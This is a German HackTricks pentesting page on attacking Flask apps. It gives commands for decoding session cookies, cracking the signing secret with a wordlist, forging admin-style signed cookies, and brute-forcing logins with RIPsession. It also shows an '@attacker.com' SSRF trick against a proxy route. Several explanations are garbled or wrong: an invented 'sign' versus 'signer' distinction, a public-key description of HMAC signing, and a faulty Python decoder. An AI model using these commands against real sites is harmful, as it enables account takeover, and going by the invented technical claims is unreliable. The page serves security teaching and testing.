hacktricks/network-services-pentesting/pentesting-web/flask.md
2024-02-10 15:36:32 +00:00

183 lines
9.8 KiB
Markdown

# Flask
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
</details>
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Wahrscheinlich ist eine Flask-Anwendung in einem CTF mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** verbunden.**
## Cookies
Der Standardname für die Sitzungs-Cookie ist **`session`**.
### Decoder
Online Flask-Cookie-Decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manuell
Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie ihn mit Base64:
```bash
echo "ImhlbGxvIg" | base64 -d
```
Der Cookie wird auch mit einem Passwort signiert
### **Flask-Unsign**
Befehlszeilentool zum Abrufen, Decodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch das Raten von geheimen Schlüsseln.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Cookie entschlüsseln**
To decode a Flask session cookie, you can use the `itsdangerous` library. The session cookie is usually named `session` and is base64 encoded. The decoded cookie contains a serialized JSON object with the session data.
```python
import base64
import zlib
import json
from itsdangerous import URLSafeTimedSerializer
def decode_flask_cookie(secret_key, cookie_value):
signer = URLSafeTimedSerializer(secret_key)
try:
decoded_data = signer.loads(cookie_value)
decompressed_data = zlib.decompress(base64.b64decode(decoded_data))
session_data = json.loads(decompressed_data)
return session_data
except Exception as e:
print(f"Error decoding cookie: {e}")
return None
```
To use this function, you need to provide the secret key used to sign the cookie and the value of the cookie itself. The function will return the decoded session data as a Python dictionary.
```python
secret_key = "your_secret_key"
cookie_value = "your_cookie_value"
decoded_session = decode_flask_cookie(secret_key, cookie_value)
print(decoded_session)
```
Remember to replace `"your_secret_key"` with the actual secret key used by the Flask application and `"your_cookie_value"` with the value of the session cookie you want to decode.
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
Brute Force ist eine Methode, bei der ein Angreifer systematisch alle möglichen Kombinationen von Benutzernamen und Passwörtern ausprobiert, um Zugriff auf ein System zu erlangen. Diese Methode kann verwendet werden, um die Sicherheit von Webanwendungen zu testen, indem sie versucht, sich mit verschiedenen Kombinationen von Anmeldeinformationen anzumelden. Es ist wichtig zu beachten, dass Brute Force-Angriffe zeitaufwändig sein können und dass die Erfolgschancen von Faktoren wie der Länge und Komplexität der Passwörter abhängen. Es wird empfohlen, starke Passwörter zu verwenden und Sicherheitsmaßnahmen wie Kontosperrungen nach einer bestimmten Anzahl von fehlgeschlagenen Anmeldeversuchen zu implementieren, um Brute Force-Angriffe zu erschweren.
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Signierung**
The signing process ensures the integrity and authenticity of data. It involves using a private key to generate a digital signature, which can be verified using the corresponding public key. This ensures that the data has not been tampered with and that it originated from the expected source.
Die Signierung stellt die Integrität und Authentizität von Daten sicher. Dabei wird ein privater Schlüssel verwendet, um eine digitale Signatur zu generieren, die mithilfe des entsprechenden öffentlichen Schlüssels überprüft werden kann. Dadurch wird sichergestellt, dass die Daten nicht manipuliert wurden und von der erwarteten Quelle stammen.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Signieren mit veralteten (alten Versionen)
In einigen älteren Versionen von Flask wurde die Signaturfunktion `sign` verwendet, um Daten zu signieren. Diese Funktion ist jedoch anfällig für verschiedene Angriffe und sollte nicht mehr verwendet werden. Stattdessen sollte die sicherere Funktion `signer` verwendet werden, die in neueren Versionen von Flask verfügbar ist.
Um die `signer`-Funktion zu verwenden, müssen Sie zuerst ein Signierungsobjekt erstellen. Dies kann mit dem `itsdangerous`-Modul erfolgen, das in Flask enthalten ist. Verwenden Sie den folgenden Code, um ein Signierungsobjekt zu erstellen:
```python
from itsdangerous import URLSafeTimedSerializer
secret_key = "geheimeschluessel"
signer = URLSafeTimedSerializer(secret_key)
```
Sobald Sie das Signierungsobjekt erstellt haben, können Sie die `dumps`-Methode verwenden, um Daten zu signieren, und die `loads`-Methode, um die signierten Daten zu überprüfen und wiederherzustellen. Hier ist ein Beispiel, wie Sie die `dumps`- und `loads`-Methoden verwenden können:
```python
data = "zu signierende daten"
signed_data = signer.dumps(data)
restored_data = signer.loads(signed_data)
```
Stellen Sie sicher, dass Sie den geheimen Schlüssel sicher aufbewahren und nicht in öffentlichen Repositories oder in der Produktionsumgebung speichern.
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Befehlszeilentool zum Brute-Forcen von Websites unter Verwendung von mit flask-unsign erstellten Cookies.
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi in Flask Session-Cookie mit SQLmap
[**Dieses Beispiel**](../../pentesting-web/sql-injection/sqlmap/#eval) verwendet die sqlmap `eval`-Option, um automatisch sqlmap-Payloads für Flask mit einem bekannten Geheimnis zu signieren.
## Flask-Proxy zu SSRF
[**In diesem Artikel**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wird erklärt, wie Flask eine Anfrage zulässt, die mit dem Zeichen "@" beginnt:
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Welches Szenario ist in folgendem Fall gegeben:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Es könnte ermöglichen, etwas wie "@attacker.com" einzuführen, um einen **SSRF** zu verursachen.
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>